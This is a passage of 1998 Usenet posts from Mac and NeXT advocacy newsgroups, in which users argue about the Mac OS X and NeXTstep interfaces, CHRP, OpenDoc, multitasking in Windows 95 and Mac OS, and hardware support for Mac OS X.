: different interface than a user with a slower machine? It's the programs
: that should exercise the machine more fully, not the interface. Do you
: think that a user with a faster machine should use all of their processing
: power with animated, rendered 3D windows and dancing icons?
Yes! 3-D, ray-traced, icons with real-time shadows based on the
progression of sun and stars.
John
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 30 Jul 1998 17:18:57 -0500
Organization: Ericsson North America Inc.
Message-ID: <35C0F150.E6DC21A1@ericsson.com>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <35bd8b31.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R2807981105150001@news> <35beb369.0@nnrp1.news.uk.psi.net> <35BF4F8B.D4C2B55F@ericsson.com> <35bf8c41.0@nnrp1.news.uk.psi.net> <35C09281.7461A700@exu.ericsson.se> <6pqf48$98j$1@news.spacelab.net> <35C0C9BD.6399ED2@exu.ericsson.se>
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Michael Peck wrote:
> I stand corrected. Window and app tiles do not look *identical*. They
> look *almost* identical.
Actually, this is my mistake. I was never actually corrected, since I
never actually stated that window and app tiles "look identical". This
was a misquote that I mistakenly assumed was a faithful reproduction of
my own (already forgotten) words. Upon reviewing the quoted post, I
noticed that I had claimed "window tiles and application tiles are the
same size and shape".
MJP
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Thu, 30 Jul 1998 15:42:09 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6pqte0$8o9$1@plo.sierra.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ppbmg$m1p$1@bunyip.cc.uq.edu.au> <6pq2n2$q44@newsb.netnews.att.com> <6pqa9r$s09$1@plo.sierra.com> <joe.ragosta-3007981600420001@wil33.dol.net>
NNTP-Posting-Date: 30 Jul 1998 22:51:44 GMT
Joe Ragosta wrote in message ...
>I have an IBM 6x86MX 200 and a 6X burner and make coasters all the time if
>I have anything else going on. Mine's IDE, so that may be part of it, as
>well.
6x over IDE does sound like a problem. 2x over SCSI is going to be much more
reliable.
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 30 Jul 1998 18:39:30 -0500
Organization: Prairie Group
Message-ID: <MPG.102ac03127a9bc02989a54@news.supernews.com>
References: <MPG.10297cfc5259ba1989a41@news.supernews.com> <6pp7uo$knq$1@larry.admin.phil.uu.nl> <joe.ragosta-3007980836280001@wil34.dol.net>
In article <joe.ragosta-3007980836280001@wil34.dol.net>,
joe.ragosta@dol.net says...
> I still don't see how Apple killed CHRP.
>
> IBM dropped CHRP before Apple.
> Microsoft dropped CRHP before Apple.
> Sun dropped CHRP before Apple.
> Novell dropped CHRP before Apple.
>
> Apple was the last major company supporting CHRP before they dropped it.
> There's no disputing that fact.
>
True. But, at least as was presented to the developers at WWDC, the
primary advantage of CHRP was EASY CLONES FOR MAC OS. Big, big banners
on the slides in the presentations. Only after that was "oh and it'll
also run other OSes too".
The fact that the add-on reasons were no longer true, wasn't relevant to
me at least. It was promised as easy clones, it was sold for YEARS as
easy clones, we were told this was the great coming of the Mac explosion
and so much better than the normal cloning system so there could be a
thousand flowers blooming.
Then I got to work one day, read my news websites, and found out that
CHRP was dead. Just like that.
Yup. CHRP was dead. It wasn't going to do what Apple promised me as a
developer it was going to do.
And Apple killed it.
Donald
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 30 Jul 1998 18:44:05 -0500
Organization: Prairie Group
Message-ID: <MPG.102ac13ecf3d65f989a55@news.supernews.com>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <joe.ragosta-2607982033560001@elk91.dol.net> <Josh.McKee-2807981805580001@pm3a10.rmac.net> <joe.ragosta-2907980846230001@wil64.dol.net> <Pine.SOL.3.96.980730143132.22326A-100000@ux5.cso.uiuc.edu>
In article <Pine.SOL.3.96.980730143132.22326A-100000@ux5.cso.uiuc.edu>,
tokarek@uiuc.edu says...
> > There _is_ a reason. It's been explained over and over. The cost of
> > putting Mac OS X onto older hardware and supporting it is too high for
> > Apple in its current condition to support.
>
> The monetary costs should not be a reason for several reasons that I've
> stated before. I don't see that as a valid excuse.
>
> Possibly the time cost would be significant, but even that I tend to
> doubt for reasons that I've stated several times before.
>
Then it may be time to close this discussion out. Joe and I are saying
"yes the costs are there", you and others are saying "no there are no
costs".
I don't think either of us are going to convince the other.
Donald
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 30 Jul 1998 18:49:22 -0500
Organization: Prairie Group
Message-ID: <MPG.102ac280771cee7989a56@news.supernews.com>
References: <MPG.102a39ec9e60f0f0989a48@news.supernews.com> <B1E63303-833FD@206.165.43.16>
In article <B1E63303-833FD@206.165.43.16>, english@primenet.com says...
> Donald Brown <don.brown@cesoft.com> said:
>
> >> MacOS XIII will only run on computers available a year after it is
> >> released...
> >>
> >And if you measure the height of a kid as he grows to 10 years old and
> >project from the trend, the kid will be about 30 feet tall when he is 21.
>
> But the kid is growing, not shrinking.
The point is that you can't pick a few datapoints and extrapolate out.
Donald
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Thu, 30 Jul 1998 17:44:09 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-3007981744090001@pm3a18.rmac.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <MPG.1024148b9fd31ab8989a01@news.supernews.com> <6phc10$ibo$1@nnrp1.dejanews.com> <Josh.McKee-2907981815320001@pm3a7.rmac.net> <6poqs3$kvc$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 30 Jul 1998 23:41:59 GMT
In article <6poqs3$kvc$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com wrote:
> In article <Josh.McKee-2907981815320001@pm3a7.rmac.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
> > He was talking about multitasking as well. However, he stated that even
> > though Windows 95's PMT might be better under certain circumstances, those
> > circumstance don't arise often enough, or are not sufficient enough to
> > warrant putting up with Windows 95's other faults.
>
> The only time that Windows 95 multitasking is as bad as Mac OS multitasking
> is when Win16 programs are running. Otherwise, Windows 95 multitasking is
> superior.
And since Windows 95 itself includes 16 bit code, it is susceptible to
blocking by the OS itself. Windows 95's PMT may be technically better
than the Macs CMT, but in end user experience, they are roughly equal. I
certainly would not trust Windows 95's PMT when performing important work
(such as writing a CD or downloading a very large file).
>
> > And if your Windows 95's experience is as good as the Macs experience,
> > then why are you debating this?
>
> I originally stated that Windows 95 multitasking is better than Mac OS
> multitasking. That statement is still true so I am still arguing it.
I agree with that statement...but to the end user, they are roughly equal
in most aspects. Most of the limitations that you speak of with the Macs
CMT are not significant enough in real world usage.
Josh
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Is Apple designing for acceptance?
Date: 30 Jul 98 16:52:04 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E65537-BC4D@206.165.43.108>
References: <6pqpg8$s9e$2@nnrp02.primenet.com>
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John Jensen <jjens@primenet.com> said:
>Lawson English <english@primenet.com> wrote:
>
>: Have you ever read the programming manual for OD?
>
>: If not, why do you assume that you understand what it can do?
>
>Actually, I've compiled and built my own OpenDoc part. Have you?
No, but I read the manuals and have played with all sorts of parts to get a
feel for how they interact.
gupta@kcopsrm.tm.tta.moc-mirror was the person that the above was addressed
to. Is that your alias?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 30 Jul 1998 18:53:28 -0500
Organization: Ericsson North America Inc.
Message-ID: <35C10778.3D6AE72A@ericsson.com>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <35bd8b31.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R2807981105150001@news> <35beb369.0@nnrp1.news.uk.psi.net> <35BF4F8B.D4C2B55F@ericsson.com> <35bf8c41.0@nnrp1.news.uk.psi.net> <35C09281.7461A700@exu.ericsson.se> <35c0c935.0@nnrp1.news.uk.psi.net>
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Richard Frith-Macdonald wrote:
> Sorry - but that's totally illogical.
> Where distinctions exist, the user needs to be able to percieve them (or they
> couldn't act on them). Since the NeXTstep users are able to use the system,
> they must be able to percieve the distinctions.
Absolutely not. As contrast decreases in photographic film quality, are
you more or less capable of discerning different objects? How does
contrast in a photograph alter your perception of differing objects?
It is not a zero-sum game, as you presume it to be. You seem to assume
that usability ("Since the NeXTstep users are able to use the system")
is a constant and that all other factors are to be measured against it.
This is patently illogical.
[cut]
> This, as I see it, is a major part of the philosophy of the design of both
> MacOS and NeXTstep. Where NeXT has the advantage is that they were able to
> apply the principles of good design to a more modern (multi-tasking and
> virtual memory being the most important technical differences) operating system.
What I would enjoy very much (in all honesty) is a NeXTstep fan who
could explain exactly how NeXTstep's UI caters to multi-tasking and
virtual memory use.
> The MacOS designers emphasised the relationship between an application
> and it's data by using the same representation and behaviour for both - icons
> which, if double-clicked on, launch the application.
I thought the desktop icon was built around a file. Double-clicking on
the file just did something useful and reasonably obvious. Other desktop
items, like folders, printers, and volumes all seemed to fit into this
concept pretty well. I never thought of it as the "relationship between
an application and its data".
> The NeXT designers applied the same philosophy to running applications tiles
> and minimised window tiles - because they have the same kind of relationship.
That's a stretch. Number one, I could understand if it were the
relationship between applications and *documents*, but generic windows
don't seem like first-class citizens. Number two, both applications and
their files are peers in that *all* are files; therefore they get a
similar representation on the MacOS desktop. But a running app and an
open window aren't even remotely the same thing. There may be a tenuous
conceptual link, but it's neither obvious nor practical.
> When the Mac does it you like it, when NeXT does it, you hate it.
Not always, but this was largely my experience (much to my surprise, in
fact). Then again, there isn't really that much difference between the
two, since NeXTstep was conceptually such a derivative of MacOS.
It could have happened that I saw the differences as natural and
innovative extensions of the MacOS origin. Instead, it seemed to me that
the differences were the opposite: unnatural and contrived additions
that served to break many of the original concepts.
I would have to say that I attribute most of the mistakes to the loss of
a desktop. Without that central anchor, I think the NeXTstep designers
probably ranged far afield looking for new ideas because the basic
concepts had been lost. The result, while this may come across more
forcefully than I intend it, is a broken interface. There are certainly
many individual islands of excellence, but on the whole, taken as a
whole, the interface doesn't make a lot of sense.
WARNING: OPINION ONLY. TAKEN PERSONALLY THE ABOVE OPINION COULD BE
HAZARDOUS TO YOUR DISPOSITION AND/OR SENSE OF HUMOR.
> Actually, no they don't - because they are used to the MacOS doing the same
> sort of thing. Computer newbies might have that reaction to both MacOS and
> NeXTstep though.
Application icons act differently from file icons, depending on the
context. In the context of *files*, they act identically because they
are both files.
What I found frustrating was the app wrapper in NeXTstep. I was *very*
confused on NeXTstep until I realized that the wrapper was actually a
folder, not a single file. In the context of this discussion, I would
find this *very* difficult to rationalize, which is why I'm confused
that you've raised the issue of file management and file icons.
> Just feel free to keep misrepresenting peoples reactions why don't you?
Hmm? If the shoe fits, wear it. If not, ignore it. The shoe fits a
nonzero number of people, I assure you.
> I didn't ask for reproduction of copious postings - just reasoning -
> facts in conjunction with logic. The copious postings would probably not
> fit the bill.
I'm sorry, I can't assume you're familar with older conversations. Rest
assured that I have posted nothing to you in this conversation that I
haven't posted before. I don't have the time to duplicate all of the
previous discussions, so take my lack of "facts" as you see fit.
> I ignored the OO-style inheritance stuff because, rather than reasoning,
> it was one of the inappropriate examples/analogies of which you are so fond.
> Inappropriate because -
> 1. Normal OO design makes subclassed more specific by adding functionality
> rather than removing it (there are of course exceptions).
True. Menubars have increased functionality. They have *decreased*
generality. Can you name a parent/child object relationship wherein the
child is more general and less functional?
> 2. The fact that in some cases you can make a more specific object by removing
> functionality does nothing to support the argument that you should do so in
> this case.
This makes no sense. Menubars have two things added to them:
functionality in handling menus in a specific way, and a specific policy
regarding what it can handle. This makes them both more functional and
more specific.
> >None of which explains how, specifically, the MacOS menu bar is
> >"crippled".
> 1. The menu bar is a selection tool that only lets you select menus.
The menu bar is also a display tool that always displays its menus. It
has a specific mandate to be where it is, which is something no
generalized menus have.
> 2. The menus are selection tools that let you select other things as well.
> 3. You might reasonably want to select things other than menus.
> therefore the menu-bar is a crippled selection tool in comparison to the
> menu.
> How much more specific do I need to get?
By this reasoning, as I've already said, the pushbutton is a crippled
window, since a window can display anything and a pushbutton can only
display text. If you are simply referring to the tradeoff between
specificity and functionality as "crippling", then I suppose it's just a
matter of semantics.
> Proof? Evidence even? - most MacOS users, including myself, would like some
> function (print, hide etc) to be available on the menu bar - there, I can
> pretend to speak for others too.
Sure you can, but I can say that I seriously doubt it, and offer reasons
why: they already have this capability on toolbars. The whole point of
menus is to contain and categorize commands; the point of toolbars is to
group them according to the user's whim, usually according to frequency
of usage. Another distinction preserved and enforced in the MacOS, a
distinction blurred and changed in NeXTstep.
> >Only if you're wildly extrapolating from simple language to attempt to
> >poke fun.
>
> Well, yes - but poking fun to a serious point, the question is where you draw the line.
> My justification is utility, consistency (and personal taste of course), yours seems
> to be personal taste.
No, it's not. It's according to the justifications I've continually
given in answer to complaints like this in this very thread.
> Yes - but on the menu issue you seem to think a thick line of distinction is
> necessary (where I think users are intelligent enough to make the distinction
> anyway) even to the extent of sacrificing useful functionality.
No, I think a very faint line of distinction is necessary, but I think
the distinction is necessary all the same. It's a matter of greater
policy, which is not always better but *is* better in this case. I think
that preserving the notion of a top-level of *menus* is important.
You do not. Fine with me. I've already given all of the reasons that I
can put to words for why I believe this.
[cut]
> Well thanks for the paragraph of complete bullshit - the facts are the other way
> around - NeXT had many more years of research and user experience to draw upon
> in producing a new GUI - Apple were hampered in making changes by having a legacy
> system, in much the same way that Microsoft have been hampered by their horrible
> backward compatibility.
Just because I'm designing a GUI in 1998 and you designed yours in 1986
doesn't mean I am making better use of research than you did. Sorry.
> Ah - the 'if it's good enough for grandad, it's good enough for me' argument :-)
Actually, no. The implication was that convention and "cross-training"
(attribute to Chuck Swiger) is important and helpful. Breaking that
convention should only be done with compelling reason. The only reason
you seem to be offering is some minor bit of "functionality".
> I personally don't like having 'quit' at the top-level, but would like 'hide'.
> My ideal UI would allow users to move menu items around the hierarchy if they
> really wanted to - and just to forestall the criticisim - yes I'd want a good
> simple method of switching between cusomised and default setups (like the
> yellow-box user defaults system can give you).
Again, why would you want to break the basic menu system to achieve
something that's already done with customizable toolbars?
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Is Apple designing for acceptance?
Date: 30 Jul 98 17:03:30 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E65802-1644F@206.165.43.108>
References: <6pqrb8$s9e$3@nnrp02.primenet.com>
Mime-Version: 1.0
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John Jensen <jjens@primenet.com> said:
>
>You are apparently saying I should have stayed with OpenDoc. I say it's a
>competetive environment, and there are plenty of projects to interest the
>developer. I think that the burden is on those offering a technology to
>make it acceptable. I raise the issue because I would like you to use my
>technologies:
I'm saying that comparing OD with HTML does a disservice to both unless you
first list the features and strengths and weaknesses of each. Never
suggested that you should have used OD instead of HTML for any project for
which HTML (or Java Beans, for that matter) is suitable or that you should
continue to try to use any technology that is as unpopular as OD has become
in the eyes of Mac fanatics.
Take GX and OD. Combine them together in a simple way and you get Nisus
Software's GXMagic. Not a SINGLE review of GXMagic has been posted on the
internet or in any Mac magazine, AFAIK.
And yet, even though neither provides a really good demo of OD or GX
technologies, they still can do things that no other application can do.
USEFUL things, I might add. THings that are important enough that Apple is
bringing out ATSUI services in Carbon in order to allow developers to use
them in DTP apps.
But no-one has reviewed them, even though they've been out for months. Is
this a flaw in Nisus's marketing or in The Religion Yhat Is Macintosh?
Which answers your question about your own technologies, I think. Make them
seem like they are the Wave of the Future of Everything Apple, and users
will flock to them. If you simply present them without marketing, no-one
will use them.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 30 Jul 98 17:09:55 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E65966-1B7E3@206.165.43.108>
References: <Pine.SOL.3.96.980730104650.4469A-100000@ux8.cso.uiuc.edu>
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Pulsar <tokarek@uiuc.edu> said:
>
>And this would be for hardware that Apple has _all_ the documentation on
>and which Apple _already_ has experience in writing drivers for.
And for which Apple has already implmented the underlying graphics engine
(DPS's graphics engine also known as the enhanced QuickDraw), and for which
they have written drivers using the current version of IOKit.
In fact, anyone want to detail the *source code level* differences between
a driver written using the Rhapsody IOKit and the one written using the
MacOS X IOKit?
Betcha they are minimal, at worst, and most likely, identical.
Soooo...
It is only the kernel-level stuff, plus testing/debugging, that is really
the issue here.
The testing job scales linearly with the number of bodies. Debugging of
individual drivers should also scale linearly as long as a flaw isn't
discovered in the IOKit or the kernel.
Which leaves the kernel, which is already running as Mach 3.0 in MkLinux on
all the hardware (and more) that 604e/603e owners want MacOS X to run on.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
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----------------------------------------------------------------------
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Thu, 30 Jul 1998 17:57:39 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-3007981757390001@pm3a18.rmac.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <MPG.102417abebbe2be9989a03@news.supernews.com> <Josh.McKee-2607980957160001@pm3a6.rmac.net> <6phe0p$kdi$1@nnrp1.dejanews.com> <Josh.McKee-2707982204590001@pm3a20.rmac.net> <6pjrh9$sos$1@nnrp1.dejanews.com> <Josh.McKee-2807981800070001@pm3a10.rmac.net> <6pmc1t$b4i$1@nnrp1.dejanews.com> <Josh.McKee-2907981834090001@pm3a7.rmac.net> <6poqeb$kbe$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 30 Jul 1998 23:55:41 GMT
In article <6poqeb$kbe$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com wrote:
> In article <Josh.McKee-2907981834090001@pm3a7.rmac.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
> > I don't think the word pre-emptive was defined with multitasking in mind.
> > Rather the other way around.
>
> Exactly, which is why your definition was necessarily incorrect.
Where did I even give a definition which could be "incorrect"?
> > We weren't talking about "delaying"...we were talking about "blocking".
> > And Windows 95, with it's "pre-emptive multitasking" can be blocked by
> > running a 16 bit program. Likewise, just today I had a Windows 95 system
> > "freeze" on me while it was doing something. I couldn't do anything else
> > while it was doing whatever it was doing. It is for this very reason why
> > I claim that Windows 95's PMT is comparable to the Macs CMT...because,
> > like most everything else in Windows 95, it isn't reliable.
>
> 1) Very well, name one operating system where no application can "block" the
> system.
I cannot name such an OS as I've never tested every single application for
every single OS.
However, I think you know where I'm comming from...if I take that same
application that blocks Windows 95's PMT and run it under NT, it will not
block NT. There is a difference.
> 2) Windows 95's worst case (16-bit application blocking preemptive sheduling)
> is the same as the Mac OS's best case. So unless Windows 95 multitasking
> always displays worst case performance (which it does not), it is superior to
> Mac OS multitasking.
Windows 95 appears to run near the worst case quite a bit for me. And the
Mac appears to run near it's best case for me. Therefore, in my
experience/opinion, they are roughly equal *in practice*.
> > But to the end user, they don't really
> > care...both, for all intents and purposes, do the same thing.
>
> No they do not. I have given you many examples where Windows 95 multitasking
> leads to a better user experience than Mac OS multitasking.
And I can give you examples where it doesn't. We can pick and choose are
points for this debate. But in real life, they are roughly equal.
> > As for your game example, yes, I will conceed that PMT may handle this
> > better. I say may because I haven't tried it myself, but theoretically
> > Windows 95 should be better.
>
> It is also better in practice.
Under certain "practice's", yes.
> > But I do have to question how much benefit
> > is gained by playing games while doing something else. Perhaps when
> > you're at home and downloading a file might be a case, but outside of that
> > I cannot really think of much benefit.
>
> Or you want to allow other users on your LAN to connect to your computer.
> Under the Mac OS, this can seriously slow down your computer on even a slow
> connection.
Never tried it. But I would conceed that Mac OS does not make a good
server OS, and this is essentially what you're doing.
As I said, for some people, in some situations, Windows 95's PMT will be better.
> > I guess inefficient I/O scheduling might be a big problem if the Mac OS
> > were designed to do the same work that unix does, but otherwise I really
> > can't see this being a big problem. Any particular example you have in
> > mind where this is a big headache?
>
> Yes, when decompressing files, the Mac OS slows to a crawl. Under Windows 95,
> it's barely perceptable and the compressing is faster as well. File sharing on
> the Mac OS slows down your computer significantly when it is barely noticable
> under Windows 95.
I decompress files all the time with my Mac and never notice a significant
slow down with it. Never tried it the other way around...it may be slower
under that situation.
> > How do you define "efficient" for this question?
>
> Usually, it is measure as the time spend doing useful work. Time spent doing
> context switches and waiting for I/O is not counted as useful work.
And the Mac has been consistently rated as one of the best platforms that
allows one to do useful work, despite it's lack of PMT. Hmmm...wonder why
that is?
> Here was my original point: Mac OS multitasking is inferior to Windows 95
> multitasking. Concede this and the argument will be over.
I don't know if I would agree with the use of the word "inferior" wrt
Windows 95. Against NT, yes, 95...no. Perhaps "better", but never
"inferior".
Josh
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 30 Jul 98 17:12:23 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E659FA-1DAA0@206.165.43.108>
References: <joe.ragosta-3007981241560001@wil44.dol.net>
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nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Joe Ragosta <joe.ragosta@dol.net> said:
>
>But you still have to get YB, BB, PDF and IOkit to work with the new
kernel.
Er, in theory at least, these thigns will AUTOMATICALLY work with the
kernel. If they don't, there's something wrong with the kernel or the
drivers or IOKit itself.
And getting MacOS to work on *some* 604e-based Mac WOULD likely be trivial.
It's testing for the differences and validating each
box/motherboard/peripheral configuration that wouldn't be trivial, albeit
it *should* be straightforward.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Landivar2 <landivar2@geocities.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 30 Jul 1998 19:06:13 -0500
Organization: TCA Networks, College Station Texas 409.693.8885
Message-ID: <35C10A75.3010@geocities.com>
References: <macman-2907982115550001@d185d1c66.rochester.rr.com> <B1E55DDF-44AB4@206.165.43.139>
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Lawson English wrote:
<snip>
> other MS apps. NO-ONE competes with MS on their home turf. On the Mac,
> people USED TO BE ABLE TO COMPETE, but not since Jobs came back.
I disagree we can still compete athough it might be a little tougher.
Don't worry I believe someone has an ace (maby 5 or 6) up their slieve.
P.S.:nothing personal
P.P.S.: Is that how you spell slieve
From: Landivar2 <landivar2@geocities.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 30 Jul 1998 19:12:27 -0500
Organization: TCA Networks, College Station Texas 409.693.8885
Message-ID: <35C10BEB.72B3@geocities.com>
References: <macman-2907982124020001@d185d1c66.rochester.rr.com> <B1E55EBE-47EE7@206.165.43.139> <MPG.102a39ec9e60f0f0989a48@news.supernews.com>
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> In article <B1E55EBE-47EE7@206.165.43.139>, english@primenet.com says...
> > Projecting from this trend:
> >
> > MacOS XI should require a computer not more than 2 months old...
> >
> > MacOS XII will only run on those computers that it ships with.
> >
> > MacOS XIII will only run on computers available a year after it is
> > released...
> >
Come on Lawson do you really believe that.
I see the point you are trying to make, though I really don't think it will happen.
p.s. : nothing personal
From: Landivar2 <landivar2@geocities.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 30 Jul 1998 18:58:13 -0500
Organization: TCA Networks, College Station Texas 409.693.8885
Message-ID: <35C10895.6CFD@geocities.com>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com>
<6p50k6$b1o$2@lwnws01.ne.highway1.com> <joe.ragosta-2207981217170001@wil79.dol.net> <SCOTT.98Jul22111835@slave.doubleu.com> <andyba-ya02408000R2307981322200001@news> <SCOTT.98Jul28083702@slave.doubleu.com> <andyba-ya02408000R3007981317040001@news> <6pqsr1$bf6$1@nnrp03.primenet.com>
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John Jensen wrote:
>
> Yes! 3-D, ray-traced, icons with real-time shadows based on the
> progression of sun and stars.
>
> John
Wait till G4, maby a little after G4.
The sun and moon maby, I'm not shure about how much shadow you can
get off of star light. :-)
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Thu, 30 Jul 1998 19:12:15 -0500
Organization: Prairie Group
Message-ID: <MPG.102ac7dabba01b62989a57@news.supernews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <MPG.1024148b9fd31ab8989a01@news.supernews.com> <6phc10$ibo$1@nnrp1.dejanews.com> <Josh.McKee-2907981815320001@pm3a7.rmac.net> <MPG.102a3c0fa7ecf8bf989a4b@news.supernews.com> <6pqji9$ptv$1@nnrp1.dejanews.com>
In article <6pqji9$ptv$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com
says...
